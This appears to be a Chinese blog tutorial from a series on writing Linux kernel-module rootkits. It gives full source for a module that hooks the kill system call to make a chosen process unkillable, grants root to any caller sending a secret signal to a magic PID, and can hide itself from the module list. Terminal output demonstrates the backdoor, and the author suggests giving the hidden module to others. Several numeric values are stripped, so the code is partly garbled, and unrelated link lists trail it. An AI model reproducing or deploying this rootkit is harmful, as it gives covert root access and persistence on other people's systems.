手把手教你写LKM rookit! 之 杀不死的pid&root后门
......上一节,我们编写了一个基本的lkm模块,从功能上来说它还没有rootkit的特征,这次我们给它添加一点有意思的功能.我们让一个指定的进程杀不死,
曾经,想写一个谁也杀不死的进程,进程能捕捉到SIGTERM,就是kill默认发送的signal,能捕捉到SIGINT,你平时按下Ctrl-C就是这个操作,但是无论如何你也无法阻止,
SIGKILL,及终极杀人王火云邪神的必杀kill -9 pid.
作为一个小强,怎么能被现实如此的摧残,我们要对命运说不,so 有个几种解决方案,一中方案:两个进程互相监听,另外一个死了,立马起一个新的进程,另外一种方案:
我们想是谁让kill -9 就能杀死程序的?是谁?对是操作系统?作为一切操作皆系统调用来说,kill也是系统调用啊.....所以我们可以改系统调用就行了,而且在内核态可以无视用户,
随便切换个uid都是小意思.
废话不多,上代码
#include <asm/unistd.h>
#include <linux/highmem.h>
#include <asm/current.h>
#include <linux/sched.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/list.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/fdtable.h>
#include <linux/moduleparam.h> MODULE_AUTHOR("lietdai@gmail.com");
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("rootkit_sample"); #define ROOT_PID 7311
#define ROOT_SIG 7 static int lpid = ;
module_param(lpid, int, ); //#define STEALTH_MODE 1 unsigned long *sys_call_table = (unsigned long*) 0xc12efee0; static unsigned int ocr0; unsigned int clear_cr0(){
unsigned int cr0 = read_cr0();
write_cr0(cr0 & 0xfffeffff);
return cr0;
} typedef asmlinkage int (*kill_ptr)(pid_t pid, int sig);
kill_ptr orig_kill; asmlinkage int hacked_kill(pid_t pid, int sig){
int actual_result; //root-access
if (pid == ROOT_PID && sig == ROOT_SIG){
struct cred *cred;
cred = (struct cred *)__task_cred(current);
cred->uid = ;
cred->gid = ;
cred->suid = ;
cred->euid = ;
cred->euid = ;
cred->egid = ;
cred->fsuid = ;
cred->fsgid = ;
return ;
}else if(pid == lpid){
printk(KERN_INFO "You cannot kill me! by process %d", lpid);
return ;
} actual_result = (*orig_kill)(pid, sig);
return actual_result;
} static int rootkit_in(void){
#ifdef STEALTH_MODE
struct module *self;
#endif
ocr0 = clear_cr0();
orig_kill = (kill_ptr)sys_call_table[__NR_kill]; //hooking
sys_call_table[__NR_kill] = (unsigned long) hacked_kill;
write_cr0(ocr0);
#ifdef STEALTH_MODE
mutex_lock(&module_mutex);
if((self = find_module("test")))
list_del(&self->list);
mutex_unlock(&module_mutex);
#endif
printk(KERN_INFO "Loading rookit\n");
return ;
} static int rootkit_out(void){
ocr0 = clear_cr0();
sys_call_table[__NR_kill] = (unsigned long) orig_kill;
write_cr0(ocr0);
printk(KERN_INFO "Romove rookit\n");
return ;
} module_init(rootkit_in);
module_exit(rootkit_out);
需要说明的几点是0xc12efee0这个地址每个人都不一样的,它在/boot/System.map-`uname -r`记录着,他表示sys_call_table的地址
cat /boot/System.map-`uname -r` | grep sys_call
unsigned long *sys_call_table = (unsigned long*) 0xc12efee0;
基本的使用就是
1.先随便起个进程,这里以我们的哪个deamon后台签到程序为例./l137,记录pid 为 13165
liet@kali:~/code/c/study/socket/http/bbs_sign$ ./l137
liet@kali:~/code/c/study/socket/http/bbs_sign$ ps aux | grep l137
liet 0.0 0.0 ? S : : ./l137
liet 0.0 0.0 pts/ S+ : : grep l137
liet@kali:~/code/c/study/socket/http/bbs_sign$
2.加载rootkit
liet@kali:~/code/c/study/virus/toykit/toykit_or/test$ sudo insmod test.ko lpid=
liet@kali:~/code/c/study/virus/toykit/toykit_or/test$ dmesg | tail
[ 407.885977] warning: `VirtualBox' uses 32-bit capabilities (legacy support in use)
[ 415.515641] device eth0 entered promiscuous mode
[ 813.787144] Loading rookit
[ 829.538917] Now set cr0 backed ,cr0: 8005003b
[ 829.538921] Romove rookit
[ 2231.927831] Loading rookit
[ 2388.490838] Now set cr0 backed ,cr0: 8005003b
[ 2388.490842] Romove rookit
[ 2503.793892] test: `' invalid for parameter `pid'
[ 2508.832296] Loading rookit
liet@kali:~/code/c/study/virus/toykit/toykit_or/test$
ok, rootkit loaded!!!!
3.rootkit操作
1.杀不死的13165进程
liet@kali:~/code/c/study/socket/http/bbs_sign$ kill -
liet@kali:~/code/c/study/socket/http/bbs_sign$ ps aux | grep l137
liet 0.0 0.0 ? S : : ./l137
liet 0.0 0.0 pts/ S+ : : grep l137
2.root后门
liet@kali:~/code/c/study/socket/http/bbs_sign$ id
uid=(liet) gid=(liet) groups=(liet),(dialout),(sudo)
liet@kali:~/code/c/study/socket/http/bbs_sign$ kill -
liet@kali:~/code/c/study/socket/http/bbs_sign$ id
uid=(root) gid=(root) groups=(root),(dialout),(sudo),(liet)
liet@kali:~/code/c/study/socket/http/bbs_sign$
你整好了一个进程之后,然后隐藏mod,再交给别人,让他杀吧,看他怎么杀,........
手把手教你写LKM rookit! 之 杀不死的pid&root后门的更多相关文章
- 手把手教你写LKM rookit! 之 第一个lkm程序及模块隐藏(一)
唉,一开始在纠结起个什么名字,感觉名字常常的很装逼,于是起了个这<手把手教你写LKM rookit> 我觉得: 你们觉得:...... 开始之前,我们先来理解一句话:一切的操作都是系统调用 ...
- 手把手教你写Sublime中的Snippet
手把手教你写Sublime中的Snippet Sublime Text号称最性感的编辑器, 并且越来越多人使用, 美观, 高效 关于如何使用Sublime text可以参考我的另一篇文章, 相信你会喜 ...
- 手把手教你写电商爬虫-第三课 实战尚妆网AJAX请求处理和内容提取
版权声明:本文为博主原创文章,未经博主允许不得转载. 系列教程: 手把手教你写电商爬虫-第一课 找个软柿子捏捏 手把手教你写电商爬虫-第二课 实战尚妆网分页商品采集爬虫 看完两篇,相信大家已经从开始的 ...
- 手把手教你写电商爬虫-第四课 淘宝网商品爬虫自动JS渲染
版权声明:本文为博主原创文章,未经博主允许不得转载. 系列教程: 手把手教你写电商爬虫-第一课 找个软柿子捏捏 手把手教你写电商爬虫-第二课 实战尚妆网分页商品采集爬虫 手把手教你写电商爬虫-第三课 ...
- 只有20行Javascript代码!手把手教你写一个页面模板引擎
http://www.toobug.net/article/how_to_design_front_end_template_engine.html http://barretlee.com/webs ...
- [原创]手把手教你写网络爬虫(4):Scrapy入门
手把手教你写网络爬虫(4) 作者:拓海 摘要:从零开始写爬虫,初学者的速成指南! 封面: 上期我们理性的分析了为什么要学习Scrapy,理由只有一个,那就是免费,一分钱都不用花! 咦?怎么有人扔西红柿 ...
- [原创]手把手教你写网络爬虫(5):PhantomJS实战
手把手教你写网络爬虫(5) 作者:拓海 摘要:从零开始写爬虫,初学者的速成指南! 封面: 大家好!从今天开始,我要与大家一起打造一个属于我们自己的分布式爬虫平台,同时也会对涉及到的技术进行详细介绍.大 ...
- [原创]手把手教你写网络爬虫(7):URL去重
手把手教你写网络爬虫(7) 作者:拓海 摘要:从零开始写爬虫,初学者的速成指南! 封面: 本期我们来聊聊URL去重那些事儿.以前我们曾使用Python的字典来保存抓取过的URL,目的是将重复抓取的UR ...
- Android开发之手把手教你写ButterKnife框架(三)
欢迎转载,转载请标明出处: http://blog.csdn.net/johnny901114/article/details/52672188 本文出自:[余志强的博客] 一.概述 上一篇博客讲了, ...
随机推荐
- Ubuntu中useradd和adduser的区别
在Ubuntu中创建新用户,通常会用到两个命令:useradd和adduser,虽然作用一样,但用法却不尽相同.本文接下来便为读者带来具体的解释. AD:51CTO学院:IT精品课程在线看! 在Ubu ...
- 二维线段树 HDU 1823最简单的入门题
xiaoz 征婚,首先输入M,表示有M个操作. 借下来M行,对每一行 Ih a l I 表示有一个MM报名,H是高度, a是活泼度,L是缘分. 或 Q h1 h2 a1 a2 求 ...
- Emacs安装auto-complete
分别下载各个el文件 auto-complete-mode 主源码库 https://github.com/auto-complete/auto-complete 把zip文件下载后,复制auto-c ...
- linux安装
1.rpm: • RPM是软件包管理工具,是Redhat Package Manager的缩写,最早由redhat公司引入的,现在已经成为公认的行业标准了.• 什么是package• 简单地说就是归档 ...
- hdu 4009 最小树形图
思路:唯一一个值得一提的就是建一个0号根节点,往每个房子建一条边,权值为房子的高度乘以X. #include<iostream> #include<cstdio> #inclu ...
- iOS下获取用户当前位置的信息
#import <MapKit/MKMapView.h> @interface ViewController (){ CLLocationManager *_currentLoaction ...
- 学习css简单内容
Css的class,ID和上下文选择符 Class选择符. Class选择符用来配置某一类css规则,将其应用到网页中一个或多个区域.配置一类样式时,要将选择符配置成类名.在类名前加(.).类名必须以 ...
- django 学习-5 模板使用流程
首先在模板下建一个index.html <!DOCTYPE html><html><head><meta charset="utf-8" ...
- 当页面中(比如弹出框SelectPage)没有textbox等控件如何按Esc关闭
1.在网页上添加一个空白的ASPxTextBox控件 <dxe:ASPxTextBox ID="txt_Name" Width="1" runat=&qu ...
- 获得随机的n条结果行
* FROM [Menu] order by NEWID() * FROM [Menu]